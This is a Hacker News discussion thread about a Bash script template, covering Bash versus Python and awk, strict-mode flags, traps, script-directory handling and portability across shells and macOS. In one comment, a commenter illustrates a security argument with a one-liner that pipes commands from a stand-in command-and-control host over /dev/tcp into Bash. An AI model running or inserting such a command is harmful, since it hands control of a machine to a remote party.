Minimal safe Bash script template | Hacker News Reader

Minimal safe Bash script template

betterdev.blog

494 pointssigna11276 comments

> The opposite of "it's like riding a bike" is "it's like programming in bash".

> A phrase which means that no matter how many times you do something, you will have to re-learn it every single time.

Couldn't phrase it better myself. After wasting way too much time, I tend to go with Python for anything more than a couple of lines, even trivial stuff. That's, of course, unless there's a very compelling reason to use bash.

I’m the opposite.

Every time a python script throws an exception at me (pretty much every time I invoke a python script for the first time), my first debugging step is to read it and attempt to rewrite it in bash.

9 times out of 10, the result is 10-100x times shorter, with zero external dependencies, and is also easier to debug.

In the other case, the python thing is some non-trivial monstrosity that should have been implemented in a compiled language with static type checking.

Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.

Python is readable, awk is not. I'd rather spend an extra 5 minutes writing something that I don't have to burn 20 minutes understanding in just a few months time.

I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages. Further evidence can be found in Python's development of type hints.

Python isn't that readable when piping. From https://docs.python.org/3/library/subprocess.html#replacing-...

  output=$(dmesg | grep hda)

becomes

  p1 = Popen(["dmesg"], stdout=PIPE)
  p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE)
  p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.
  output = p2.communicate()[0]

This isn't a contrived example. One reason I like using macros in Python is because it simplifies exactly this boilerplate.

You can write a simplifying function, but programs rarely do.

I agree. Subprocess isn't really a shell-ish pipe. And it's sometimes slow (at least it used to be).

This is why I use the shell overall, but when I need to process something that's better expressed in python, I use pypyp.

Thanks for mentioning pypyp! It looks sweet.

Why would you reimplement piping? Just use the shell:

  output = check_output(“dmesg | grep hda”, shell=True)

Or regular Python string methods could be used instead of piping to grep.

Another counterpoint to readability: the benefit is diluted if the reader isn’t familiar with the dependencies. I know this goes both ways, though in some circles (say, devops) there’s more familiarity with Unix tools than Python. So the cognitive overhead of getting familiar with something you’re not IMO outweighs readability in either case.

I believe it is a matter of taste and experience. Some people prefer to read & edit 3-4 concise lines, and some prefer ten pages of prose.

> I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages.

IMO Python has a fair number of brevity constructs, which was it's one of the selling points, besides keeping other things readable. If you look at the published code from the research community, many of it resembles Matlab or Mathematica's style.

If you find awk unreadable, maybe check out this link? https://ferd.ca/awk-in-20-minutes.html

I actually find awk very readable. It's a far simpler language than Python really.

The exception is perhaps if you need to do something complex, like parse a csv.

Honestly I think if someone finds awk unreadable, they're probably cutting corners elsewhere and probably shouldn't be doing unix systems programming.

It's like all of the bash scripts that we see that don't handle failures and traps or print a usage block.

Out of curiosity, I grepped the Qubes github repos for awk. Here's the most complicated use I could find:

     awk -F : '/\/home/ { print $1":"$3":"$4":"$6 } '

> It's a far simpler language than Python really.

This is true, but if you already know Python, then "awk + Python" has greater total complexity than "just Python". So the question is does awk add enough value to be worth the incremental cost of learning it in addition to Python? I think for many, the answer is "no".

Das Tolle an Deutsch ist, dass es lesbar ist, während Englisch nicht.

Ich stimme zu.

In this context (vs Bash), I argue that awk is pretty readable and perl is somewhat readable.

> Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.

I'll add good old Make to the list. It boggles the mind how some people prefer to reinvent the wheel instead of pulling a standard tool from a standard tool belt.

I pretty much always agreed with this until Bazel became a thing. It's the first tool that I truly feel like it might be superior to Make.

Read it as "give me ${1}", paused to think for a bit.

Well played. :D

You can do sed/awk/jq trivially in Python with no dependencies, other than Python itself. Which is a fewer number of dependencies than a script gluing together sed+awk+jq, each of those being a dependency managed implicitly by your distribution's package manager.

except with sed, awk and jq, I don't have to worry about it being present on a production system and someone leveraging it to execute arbitrary, sophisticated code.

You can't just assume that it's okay to have your preferred scripting language everywhere.

I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute arbitrary, sophisticated code.

Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity).

But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.

Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd and there's no privilege-free packaging system to rapidly get there.

Python and other powerful scripting languages can.

Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point.

The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.

> Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd

Not listen, but it can certainly connect out and ask for instructions...

    bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'

Your point seemed like confirmation bias to me. I've been given to use just as many broken bash script as Python. (I'll admit I'm saying that in a false attempt at being fair. In my experience, Python script tend to work better. Then again, I tend to work in mixed env which includes Windows OS.)

You're mentioning exception errors as if having an explicit error message on failure is a problem, not a plus.

What happens when a bash script fails? Or worse, silently fails and leave you with a half-working setup at best and a seriously broken one due to some intermediary step failure being ignored?

If you happen to notice the error that is... like the OP pointed out, almost all bash shell script ignore silently errors and figuring which of the hundred of lines fails on your particular setup is a fun exercise.

And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.

> If you happen to notice the error that is... like the OP pointed out, almost all bash shell script ignore silently errors and figuring which of the hundred of lines fails on your particular setup is a fun exercise.

> And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.

Or you could just add "-x" to the infamous "set -Eeuo pipefail" at the top of the script before running it, in which case it'll let you know exactly which of the hundreds of lines failed.

Alternatively, if you're using the "script template" in the submission, you can just pass in the "-v" option when you run the script and it'll take care of setting it for you.

Same here except I use the default scripting shell on the UNIX-like OS, instead of bash. On Debian Linux and derivatives, it is known as dash:

"Debian Almquist shell. A small POSIX-compliant shell that is faster than bash."

> with zero external dependencies

I am very skeptical of this claim...in practice I've found it to rarely be the case. Usually shell scripts have more dependencies, and even worse, they are implicit since Bash provides no mechanism for managing dependencies. Programs like sed, awk, grep, cut, paste, curl, jq, gzip, tar, etc. These are all separate dependencies, usually in separate packages (some are grouped together into coreutils), supporting different feature sets between distributions and OSes. All of those can be replaced with the Python standard library.

Bash itself is pretty anemic and isn't very useful without gluing together external programs, which is its raison d'etre after all.

Are there any systems that run Bash but do not include CoreUtils? I think not...

A shell script is literally intended to "glue together" external programs, including all of CoreUtils. If you are doing more than just "gluing together" other programs, then you are programming, not scripting, and you'd be far better off reaching for an actual programming language instead of a shell script of any kind.

Python has plenty of warts too. You can't depend on it being installed on any given system, can't depend on the version even (Python 2.x or 3.x?), which libraries are installed, environment, venv support, etc.

What version of coreutils? Try comparing the behavior of cp on macOS vs. a modern Linux distribution. They are very different.

I'm not saying Python isn't without its problems too. I don't even like using Python that much for scripting. But we should be clear about what tradeoffs we're making when we write Bash scripts, and not pretending like we have "zero dependencies".

> Try comparing the behavior of cp on macOS vs. a modern Linux distribution

Not many people are running macOS servers... and servers tend to be where most shell scripts are being used.

macOS has notoriously out of date versions of all system programs, CoreUtils and Bash among them, due to licensing issues with Apple's closed-source proprietary OS. BSD and Linux based systems, generally don't have this issue.

That being said, a regular Shell Script (not a Bash Script) will run unmodified on macOS. When people say "shell script", they usually mean an actual `sh` script instead of a Bash script.

At my current gig, our infra team - who all use linux - regularly break the developer workflow for the rest of the org, which is around 80% macOS - by using unsupported bash or coreutils features. When I look at the scripts I want to pull my hair out, their use of bash goes far beyond glue code and rivals the complexity of some of our smaller micro services.

Into the weeds - but sounds like your developers need a better development environment, one that more closely matches the production environment.

Thinking of macOS as "just another *NIX" really doesn't fly these days. Crazily outdated standard systems utilities is just the tip of the ice berg, really.

On the contrary - we use kubernetes heavily and our development environment matches production about as closely as possible for the architecture we have. But we’ve got to bootstrap minukube and seed configuration and data to uninteresting dependencies somehow. Using different scripts for that in development and production would be moving in the wrong direction, but I do often wish they were written in Python.

Has your team considered using a standardized VM to develop in?

Your team could then freely use whatever computer/OS they wanted, but also keep everyone's development systems consistent with each other, as well as avoid any strange Apple-induced issues that come with running Apple hardware as a developer in 2020.

You're really fighting an uphill battle with macOS these days... as sad as that might be for some.

You've spelled it out in a few different posts - macOS breaks everything for your team. So why fight it? Get a different OS to develop in... or dumb down everything because macOS uses crusty, old utilities.

> Has your team considered using a standardized VM to develop in?

How is that not what we're already doing? Minikube runs in a VM. But we have to set it up somehow. Running a minikube VM inside a maually configured linux VM makes no sense - if we did that, now we'd need a scipt to boottrap the linux VM.

> You're really fighting an uphill battle with macOS these days... as sad as that might be for some.

I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.

> How is that not what we're already doing? Minikube runs in a VM. But we have to set it up somehow.

I was implying a development environment inside a VM, not just a VM for testing.

You posted several times about how macOS isn't compatible with your production environments scripts and what-not. The solution is to either not use macOS, or use a standardized VM every developer on the team uses to develop inside of, so that your scripts work "out of the box".

> I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.

Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.

> You posted several times about how macOS isn't compatible with your production environments scripts and what-not. The solution is to either not use macOS, or use a standardized VM every developer on the team uses to develop inside of, so that your scripts work "out of the box".

Another solution would be to write those scripts against a language and standard library that doesn't have wildly varying behaviour between its underlying platforms. One of my side projects has a bunch of supporting scripts in Python doing similar things and they run exactly the same on Linux and macOS. They even run fine on Windows with only minimal modifications.

> Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.

With this statement I was referencing specifically the complaints that have surfaced in the past few years about new OS changes and security features breaking tooling. I don't count our infra team using new bash features in this because the issue with outdated bash/unix tooling is a long-standing one.

I can't speak for others, but for me personally, the usability of macOS for almost all of the things I do on a day-to-day basis is just day-and-night better than anything else, even if I have to hack up a bash script to work correctly from time to time. I will say the difference is less than it used to be - I use it occasionally and Linux has come a long way in the past 10 years.

This is basically what writing a Python script is. Python code is compiled into Python bytecode and interpreted by the Python VM, after all.

(I know what you mean by VM, but I don't think the distinction is very important here, you get the same benefits either way, and using Python is arguably a lot simpler than using a full VM.)

What you describe is 100% real and is why `brew install coreutils findutils gnu-sed` has always been a prerequisite for any developer whose dev environment I've been tasked with supporting.

That’s definitely one solution and I have resorted to it from time to time, but it’s far from perfect - now anything that detects macOS and uses different options is broken.

So what you can do, though, is not link them in and your scripts can use their Homebrew directory to get ahold of the GNU binaries. It is still a script change you have to make, but it's one you can make at a top level and then your bash wranglers are very unlikely to break them.

(Though I use those as daily-driver packages on Macs and have actually never had something break? GNU tools tend to support BSD options.)

Maybe this is easier with the way homebrew does things (I prefer MacPorts) but then you have to manage a bunch of symlinks to bring in the stuff you DO want to use by default.

I actually hadn't thought to try this approach, though. The next time this happens I will definitely give it a shot.

Homebrew does collate them all in a couple of directories for you, yeah.

*BSD also don't use GNU coreutils by default.

Python's shutil.copy() is worse in every respect, just look at the warnings in the docs. Shell is just better (cp -Rp for example is portable).

Python is by default installed on RHEL, CentOS, Debian and many more, the noteble exception are BSDs [0]. Python 2.4 was released in 2004, by writing python 2.4 compatible code you should cover everything besides ancient mainframes. While python 2.4. does not contain all niceties of modern python, it has lists, sets, dicts and the subprocess module which makes writing bash script comparable scripts very doable.

  [0] https://unix.stackexchange.com/a/24808/317276

Why Python 2 instead of 3? There are several distributions that no longer ship it, and AFAIK it's no longer supported as of 2020.

I think bash is marginally more portable, yet python has some wonderful things in the standard library that make it a way more generalized language that will go further. os.path, argparse and os.walk I use a lot.

agreed - but what's the equivalent of this boiler plate? One that traps errors, and sets up basics with no dependencies?

I'm the opposite. If a shell script grows over say 100 lines, it's time to pull out the python.

Do you have a python template that you could share?

I am on dev team that isn't fast to upskill, and have been rewarded for writing my build-test-release solutions in bash because my team is not generally able to self-manage their developer python environments. Without needing to install anything, it is very lucrative for us to use such an unpopular language.

Python is nice in that it works fairly well in Windows too.

That's my way to do things now. I still have my 500 lines bash script file to backup multiple databases, with dynamic filter, on multiple remote servers... to remind me that I can do that much easier in Python.

Really minimal template, that works well for all scenarios and doesn't cause unexpected behaviour (like changing IFS does):

    #!/usr/bin/env bash
    
    set -eEu -o pipefail
    DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"

reference all relative things with dir first:

    "$DIR/relativestuff.sh"

Every time I see this I can't help but smile, knowing that in Zsh the equivalent code is:

    #!/usr/bin/env zsh

    setopt err_exit no_unset
    DIR=${0:h}

Honestly I think I prefer the bash version to `DIR=${0:h}`. Although Powershell is superior with simply "$PSScriptRoot" (On the other hand, Powershell's strict mode is a mess and "catch errors" in Powershell is still an extra setting that doesn't actually catch errors half the time.)

If you like that, you'll love working with PowerShell's exit codes. [1] [2] [3]

[1] https://weblogs.asp.net/soever/returning-an-exit-code-from-a...

[2] https://octopus.com/blog/powershell-exit-codes

[3] https://community.idera.com/database-tools/powershell/powert...

Out of curiosity, what do you like better about the Bash version?

Not the OP. For the occasional user, like me, it is more obvious what it is doing.

I much prefer this approach (finding the script directory and explicitly using it) over changing into the directory of the script. It makes it much easier to use paths relative to the working directory when you want to.

Out of interest, why is the way you are handling relative paths better?

Or add a popd $DIR

is there a reason "cd && pwd" is preferred over `realpath`?

mac doesn't have realpath command.

or a modern bash built in (grrrr)

In fairness, macOS has switched over to zsh as of 1 year ago in macOS Catalina: https://support.apple.com/en-us/HT208050.

Catalina shipped with zsh 5.7 whereas 5.8 is now the latest.

Big Sur ships with zsh 5.8 as /bin/zsh.

What about to use zsh to run bash script on mac? Possibly it's better than old bash.

That may cause errors or undesirable behaviour. As way of example, dealing with arrays: `read -a` in bash is `read -A` in zsh, and the former’s arrays are zero-based while the latter’s are one-based.

My gripe is about being able to work on a bash script that needs to work "everywhere". Bash 4 was release over a decade ago, so it's a reasonable expectation that it will be present on most servers with a shell.

Homebrew works around that, but their refusal over GPL taint for having the binary present still doesn't seem right.

I like the readlink command

Same, I was scratching my head, wondering why the author of the article doesn't just use readlink... and then a few hours later, a coworker of mine asked why my bash script isn't working on her Mac! Turns out readlink on OS X doesn't have the same flags. I ended up substituting it out for the hackier but more portable method that the article uses.

...also use shellcheck

This is the real minimal template. But it should be pwd -P at the end there or you introduce path resolving bugs. Or you could use cd -P, or cd -e -P to be extra fail-safe (bashism).

I also tack on [ "${DEBUG:-0}" = "1" ] && set -x

IMO this solution solves the wrong problem. The “right” problem to solve is the coupling between the script and the directory layout. If the script needs to operate on data in some directory, the path to that directory should be part of the script’s interface and handled accordingly.

What about if the script wants to source sibling files in the samedirectory? I.e. it is a bash library of sorts with modules spread over files. This isn’t “operating on data” abe it would be weird for a library to have to receive its own location as an argument in order to have to load its own modules.

I don't think there's much weird about providing a script a path to its dependencies. If it's the case that the path to the dependencies location is the same as the path to the script's location, that's fine. We're asking distinct questions (where is my data, where are my deps, where is my script) here, the unnecessary coupling is precisely the assumption they have the same answer. If they happen to have the same answer, that's not weird, that sort of thing happens all the time.

In many cases one might not want a full stand-alone program with arguments, usage and such. Rather a "script" i.e. something that can be simply executed to run a series of tasks. For example it's quite silly for a build script to require the path of the project it resides in.

It's really not silly. A build script could easily move around inside a project. It could go from the project root, to /root/bin, to /root/bin/build, etc etc. If the inconvenience of arguments troubles you, write a wrapper or alias it or something like that.

Yes, it is silly. You've just added extra complexity to a project for little to no benefit. If you decide to move the script you take the same steps as if you moved anything else i.e update the references.

How would you define complexity such that a script which computes a value is less complex than a script which accepts that pre-computed value?

It's unnecessary complexity for the user. As opposed to simply having the build instructions as `Run bin/build` you're suggesting "Run bin/build <project root>". But there's zero reason for requiring the user to supply the project root when we already know it.

This is exactly the kind of implicit coupling that makes software unmaintainable in the long run. You _are not passing the project root_, you are passing the value of a variable which currently should be set to the project root. The constraints on this value are not that it must be the project root, they are other constraints that are satisfied by the project root right now.

You said earlier that "If the inconvenience of arguments troubles you, write a wrapper". That's precisely what a script like this is. A wrapper. I can run one simple, static command, similar to just about any build tool e.g. `cd project && make`.

> The next line does its best to define the script’s location directory, and then we cd to it. Why?

Eh? This breaks all relative path arguments:

    /path/to/foo.sh bar.txt

If you need to reference relative path data internally then that should be hidden from the caller by that same logic, but used only internally.

Yeah: I almost never want that... if you remarkably want to source files relative to the script location instead of the working directory, I will argue you usually want to do that with a variable for the directory, except in very even-more-special circumstances (in which case I have done something similar to this article).

Big use case - you want to run a helper script that is located relative to your original script + this is a package of scripts that you move between machines and/or share with co-workers

That is what $PATH is for?

Assuming it's only 1 set of scripts.

I do something similar with scripts that are within projects. There are scripts named the same but vary due to each project being different so I can't use $PATH (unless I export it every single time I change projects and open a terminal for it)

Commands are relative and sometimes these can be executed by other things. Other scripts, cron, etc. depending on the environment and the use. So, first step, cd into the correct directory and then run everything relative to it.

I mean, whatever works for you, obviously - there's no true way - but this sounds fragile - and perhaps more importantly - like working against the grain of shell/Unix.

I would generally say that state belongs in environment variables (and arguments) - and/or files/input streams. Not partially hard-coded in partial scripts.

I suppose I could see a "framework" like:

   ./projX/setup
   ./projX/job1
   ./projX/job2
   ./projX/cleanup

But I'd still prefer setup and friends to accept a path (not PATH) as first argument or whatever. Rather than assuming a relative path.

Maybe even factor most of this into something that could live under /opt/bin or whatever.

Especially for cron I'd rather see:

/opt/projX/scripts/mangle /opt/projX

Rather than just the first part with an implicit argument of "parent of containing folder".

Definitely an opinionated implementation.

It doesn’t make sense for generalized scripts that automate routine tasks. But for some maintenance, build, test, or deploy scripts that only ever perform a specialized job from a single location, it could be handy. I appreciate that Maciej provided it. Always easier to remove it than have to go find it yourself in the odd script you might need it.

It's useful when it's useful, but I disagree that it belongs in a minimal template, and especially so without mentioning the obvious drawbacks.

It's minimal in the sense that it's a small template. It's not "minimal" in the sense that you can't do without every single line of the template. Just remove the parts you don't want. It would defeat its purpose if there were multiple templates that each aim at different things and then you have to decide which template you have to choose. Having two minimal templates is not minimal because of the redundancy.

Yes, this is madness.

Apparently this is for some category of utility that is a "bash script", not "a unix style command implemented in bash".

Make small utilities, call them for each other, or chain them with pipes. 99% of the time that will make more sense.

I want this feature and use it sometimes in my own scripts, usually in scripts that I’m not passing relative path args to. It’s common enough for me that I like having the script_dir in there for a bash script template, and always trivially easy to comment out the cd command. Did the author do that already? I noticed the article had a sentence about changing directory struck out.

My rule of thumb: if the script needs argument parsing or any sort of error handling/cleanup, I’ll write it in Python 3.5 instead of bash.

So true. In my case, if my script has loop, I will use python or perl instead of bash.

If the script must iterate over the lines of its input, I've found perl -nlE to be a godsend. Basically it is equivalent to

  while(<>){
      chomp;
      <insert your -E code here>
  }

Once I type a square bracket in a shell script, I know it's time to bring out Python. I don't think it's humanely possible to write a test command without shooting yourself in the foot in an exciting new way.

> don't think it's humanely possible to write a test command without shooting yourself in the foot in an exciting new way

That's a weird claim. Could it be that you have never really learned shell programming or read the man pages? Or can you give an example? We have lot of production code with many test statements and I don't remember when we were bitten last time by some "surprising feature" of test.

I agree that test works differently than comparisions in many programming languages. So you need to understand how it is different. And you need to be disciplined about quoting, otherwise surprises will happen when you have user-controlled input and the shell starts to do word-splitting. But if you use shellcheck you will be reminded of quoting everywhere. It's not a problem specific to test anyway.

I have written dozens of of bash utilities at a single company. Probably 5000 lines of bash in total. I still don't know the whole syntax for if/for/case and have to look it up every single time.

I've written hundreds (if not thousands) of bash utilities over 20+ years and I still occasionally have to check the syntax for various bits.

> So you need to understand how it is different. And you need to be disciplined about quoting

Or I can use a sane language that let's me get my stuff done faster and with less opportunities to shoot myself in the foot.

If I'm modifying an existing script, I generally have no problem doing that.

But the tweet quoted in the article rings very true to me:

>The opposite of "it's like riding a bike" is "it's like programming in bash".

>A phrase which means that no matter how many times you do something, you will have to re-learn it every single time.

I and probably a lot of programmers write bash scripts just enough to remember the vague shape of what we want to do, yet still infrequently enough to require looking up the exact characters every single time (-z? ! -z? one bracket? two brackets? quotes? no quotes? something about a semicolon and "then", right? where can you add newlines, again? oh yeah, it's not "end" like Ruby/Lua but "fi" right? what's "else if", again?).

I'm sure if we were working with bash scripts daily, we'd memorize it, but it's just rare and just different enough that it's basically day 1 all over again every time. Shellcheck helps as a safety net, but it doesn't necessarily save me a lot of time and cognitive load.

If I'm writing a new script from scratch and I realize there's going to be some branching or prompts or complex argument handling, I just write it in Python. It saves time and effort, it lets other people on my team more quickly modify and debug it, and it's more predictably portable ("oops, only sh, no bash"). And if it ever needs to do something more advanced in the future, it's way easier to extend.

Or put much more succinctly, by 'kristaps in another comment:

>Or I can use a sane language that let's me get my stuff done faster and with less opportunities to shoot myself in the foot.

It's nice for quickly writing something that's just wrapping multiple commands, though.

One of the big points of linters is that they change developer behavior for the better over time.

Once you get used to using shellcheck all the time your code style starts to match what it requires. You start thinking about quoting and other intricacies, and coding much more defensively.

This happens with other checkers as well - >90%+ of the time the python I write passes pep8 and black cleanly after having used those tools for a year or two.

Using Python how frequently?

The issue is the frequency. Due to not coding in it often, you don't retain it.

> Using Python how frequently?

Probably around once a week.

A linter should make you a better coder, whether or not you code frequently, and also serves as a secondary "belt and suspender" check for code sanity and ease of future reading/refactoring.

> -z? ! -z? one bracket? two brackets? quotes? no quotes? something about a semicolon and "then", right? where can you add newlines, again? oh yeah, it's not "end" like Ruby/Lua but "fi" right? what's "else if", again?

really, most of these questions have only one correct answer. [ ! is never correct, neither is ! [ -z or ! [ -n. one bracket in /bin/sh, two in bash. quote every variable expansion unless you have a very good reason not to. add new lines in sensible places. nobody (sensible) complains that you can't write

  for
    num
  in
    mylist
  :

in Python, so don't write it in shell either.

the problem is there is so much cargo culting garbage. the same problem exists in "C/C++", where people write "int* buf = (int* )malloc(num*sizeof(int))" to be "compatible", or do gratuitous pointer aliasing with undefined behavior, despite the fact that any modern C implementation with any optimizations at all will inline small fixed-size memcpy.

I tend to apply much the same rule as emptyparadise - once conditional logic appears, it's time for a rethink. Part of my rationale for this is that I assume that I'm dealing with the thin end of the wedge - if there's enough complexity in the task to warrant conditionals, there's likely a whole bunch more (or there will be in future) that I haven't encountered or grasped yet.

I'm thus willing to take the time-hit on rewriting in Python, because I'm betting that resulting code will be easier to adapt and easier to troubleshoot as this extra complexity gradually comes into view.

I just can't fathom this as I've never really had compatibility issues/quirks with good old #!/bin/bash. Only issues I've had have been with sed on Mac vs Linux. And I've written thousands of lines with lots of logic, generally breaking statements that become nested into separate functions. Sometimes some things become too complicated for Bash, like parsing JSON, in which case I prefer to break out and call a Python or Node script instead of wrapping my head around jq.

But my scripts are also either for personal use, or for internal use (5 person team) at work, so I know who will be running the scripts, why, and where (which OS/versions). Suppose it's a bit like developing for Apple where you can remain aware of the use (and edge) cases.

Awk is a viable replacement for Bash for scripting. A long established standard and installed on pretty much every POSIX system. It has more robust facilities for handling variables, arrays, regex search & substitution, etc.

awk is a full programming language. But it has gotten little attention in the last 20 years.

If you expect that someone else can read and maintain your code with minimal learning I don't think it's the tool of choice.

But... neither is bash. I am sympathetic to the argument that awk is theoretically superior to bash in almost all ways (and it is of course nearly as available as bash). But... something still makes me reluctant to switch to using it in the cases I write a bash script (which I'm already trying to minimize, as is the OP). I'm not really sure why though.

(Fun-for-mostly-me fact, my very first programming job ever was writing awk. It was a while ago. I certainly don't remember any awk now).

Awk is great for snippets that are meant to be copy+pasted into a shell, and is the only reasonable option sometimes if you're stuck in a Busybox environment, but for almost everything else you'd be better off with Python.

This previous comment of mine goes into a bit more detail: https://news.ycombinator.com/item?id=23242753

Agreed but I point that not all awks are gawk.

Or better yet, condition yourself to hit [ a second time and use Bash's built-in conditionals instead of test and [

Depends. In an embedded system I prefer not to have to install Python at all.

In an embedded system (== very limited resources), wouldn't you want to avoid any interpreted language, even shell? We have some very nice languages that compile to machine code these days

BASIC is 56 years old. Computers back then were not very fast, but interpretation was still viable.

Have used it on 7KB RAM :) But to be fair the interpreter was in ROM, no idea how big that was.

ROM was usually very slow, so all ROM content was usually copied to RAM before execution. RAM size was therefore still an issue.

I am pretty sure the PET-2001 didn't do that. 8 KB was all it had, about 1 KB was used by the operating system and 7 KB where available for programming. Actually something you would call byte code today, every basic command was 1 Byte. Just don't use labels with 4 or 5 characters, that wastes a lot of space!

The first models came even with 4 KB RAM / 3 KB usable. Have never seen one of those, though.

If we're talking Linux embedded and not something like an MCU, then you already likely have a shell installed. So you might as well use it for the things which shell excels at. Shell scripts are much smaller in size than the equivalent C code, for those things that shell is typically used for.

Well, there is embedded and embedded embedded :)

I was talking about embedded Linux here, so 512 MB RAM is not really uncommon, many systems have even more. No problem to run even bash. dash is sometimes preferred for license reasons, busybox ash is smaller, but then programming can probably get more annoying already, because useful features are probably missing. I use dash regularly for scripting (interactive use is a pain), haven't had to use ash for a while.

Of course there are much smaller embedded systems. But I don't think they would run Linux.

Rob Landley is working on implementing a full Bash clone (called toysh[1]) in his Toybox project[2]. I'm excited for it to be released - it will be a huge improvement vs. Busybox ash for embedded environments. We'll be able to write scripts that use arrays!

[1] https://github.com/landley/toybox/blob/master/toys/pending/s...

[2] http://landley.net/toybox/about.html

Why Python version 3.5 specifically?

I work on Debian or derivatives mostly and the oldest Debian LTS has 3.5.

I agree with the general sentiment, though I set the bar a bit higher (or lower, depending on your perspective). Bash does okay with positional arguments, error handing, and even loops. You can get a lot done with that, and there are a lot of circumstances where a little bash script is just what you need. Where I draw the line is at arrays. If you're starting to think about data structures, bash isn't the right tool for the job.

Well, it depends. I had a co-admin who used to rewrite all my Bash scripts in Python. Most of them were a bunch of os.system() calls. He was a bit upset when I pointed out they are actually buggier than their Bash originals and noticeably slower.

Indeed. Shell scripting can easily get overcomplicated and I agree that moving to a real programming language is better at that point. However, Python isn't necessarily the ideal language for it either, because managing child processes with its standard library functionality can get overcomplicated and verbose, particularly once you start dealing with functionality like pipes. So people often resort to generic os.system calls instead and then you get a strange hybrid style.

Exactly. Or even stricter. I've finally made a self-contained helper for that: https://gist.github.com/fillest/8d64f8fa0cdb1745bfc9c683cf39... Pure Bash is really not needed since we have Python 3.

Assuming you can afford introducing the Python dependency.

Also pipe/subprocess heavy scripts often become sad complex monstrosities in non-shell languages.

Agreed. Not with the programming language per se, but I agree with the general premise.

However, in cases where portability is important, bash is would be my choice. If I can pass someone a bash script and not ask them to also install Python and whatever libs I used, it makes my life so much easier.

Containers work great for me if the target users are also familiar with them

It's too bad (for bash users) that bash never bothered to embrace ksh getopts. The equivalent of the article's two pages is roughly,

    usage=$'
      [-1][+NAME?script - Script synopsis here]
      [f:flag?Some flag description]
      [p:param?Some param description]:[string?description]
    '
    while getopts "$usage" opt
    do
      typeset opt_${opt}=${OPTARG:-1}
    done

Agreed about arg parsing. One day I decided to figure out how to get Python arg parsing in a bash script. The horrifying result: https://gist.github.com/benkehoe/c469ebb76ad80d45405077e1093...

Not horrifying, that's pretty cool!

Or we are both the same kind of horrifying :D

Dude, that's freaking brilliant. Wanting to steal that one...

I don't know what this does:

    set -Eeuo pipefail

But I do know this one, which appears to be missing one:

    set -o pipefail -o errexit -o nounset

So, one step up: Use long options and long names. Make it readable, and not just writable.

You're missing `errtrace` (-E) which means "any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment"

You probably haven't used it much if you haven't been using `trap`

I use just

   trap EXIT

With

   set -eu

errors in subshells should lead to an exit anyway, so my exit handler is called. Or am I missing some case?

I can't think of any difference if you're trapping both with the same handler. Probably only if you want a separate handler for ERR vs EXIT.

I often set up a temporary directory at the beginning and then clean it up in an EXIT trap. Adding ERR and errtrace (-E) would remove the tmpdir or the first failure anywhere, no matter if it's a recoverable one.

So I'm sticking with just set -eu and trap EXIT...

You are missing:

> E If set, any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment. The ERR trap is normally not inherited in such cases.

set -eu is at least 30 years old. Not sure whether it makes sense to rewrite established code.

Yes! I read this somewhere a little while back and have been doing it exclusively since. Makes tons of sense.

Usually I have to look up what the long options are, since I've generally only memorized the short ones, but it helps immensely with readability, particularly for someone who hasn't memorized the short ones, who can now just semantically understand the options.

long options often cause issues since a few comon executables are only short-flag compatible between OSs

If serious about creating shell script "apps", I think standard POSIX shell is the way to go. The Bashism is seldom needed, even though it is powerful.

Why? Because shell scripting is often used in DevOps, and containers very often do not come with Bash, but with (busybox) ash or dash instead.

Say you are going FROM nginx to FROM nginx:alpine (to get that smaller image size), woha! your bash script is not working anymore.

My main problem with POSIX shell is it is hard to test, as people might use bash, ash, zsh or dash as sh. Bash is at least not a moving target.

You can run it through shellcheck, no?

Using `shellcheck --shell sh` is a good start :)

If adhering to POSIX it should run the same in bash, ash and dash.

Bash is kind of a moving target in it self, since it comes with many new features.

You have to be aware of which version you are targeting. For instance when using arrays, associative arrays, there is a diff between version 3 and 4.

Version 5 is even more competent and it's easy start digging to deep into the cookie jar and getting your hand stuck in there :)

> Using `shellcheck --shell sh` is a good start :) > If adhering to POSIX it should run the same in bash, ash and dash.

Not so. Shellcheck will tell you about syntactically invalid bashisms, but will not warn you about the zillions of things that are under or unspecified in posix. Pertinent minimal example:

   $ echo $'#!/bin/sh\ntrap "echo exiting" EXIT\nsleep 1h' > exit.sh 
   $ shellcheck --shell sh exit.sh && echo "ALL GOOD!"
   $ /bin/dash exit.sh
   ^C
   $ /usr/bin/zsh exit.sh
   ^C
   $ /bin/bash exit.sh
   ^Cexiting

Good luck finding a person who can use trap in a way that actually works as intended across different posix conform shells without consulting stack overflow first.

Indeed, it's such a messy job coding for shell..

Comes with a lot trial and error.

The above will work as (tested in ash/dash/bash):

  #!/usr/bin/env sh
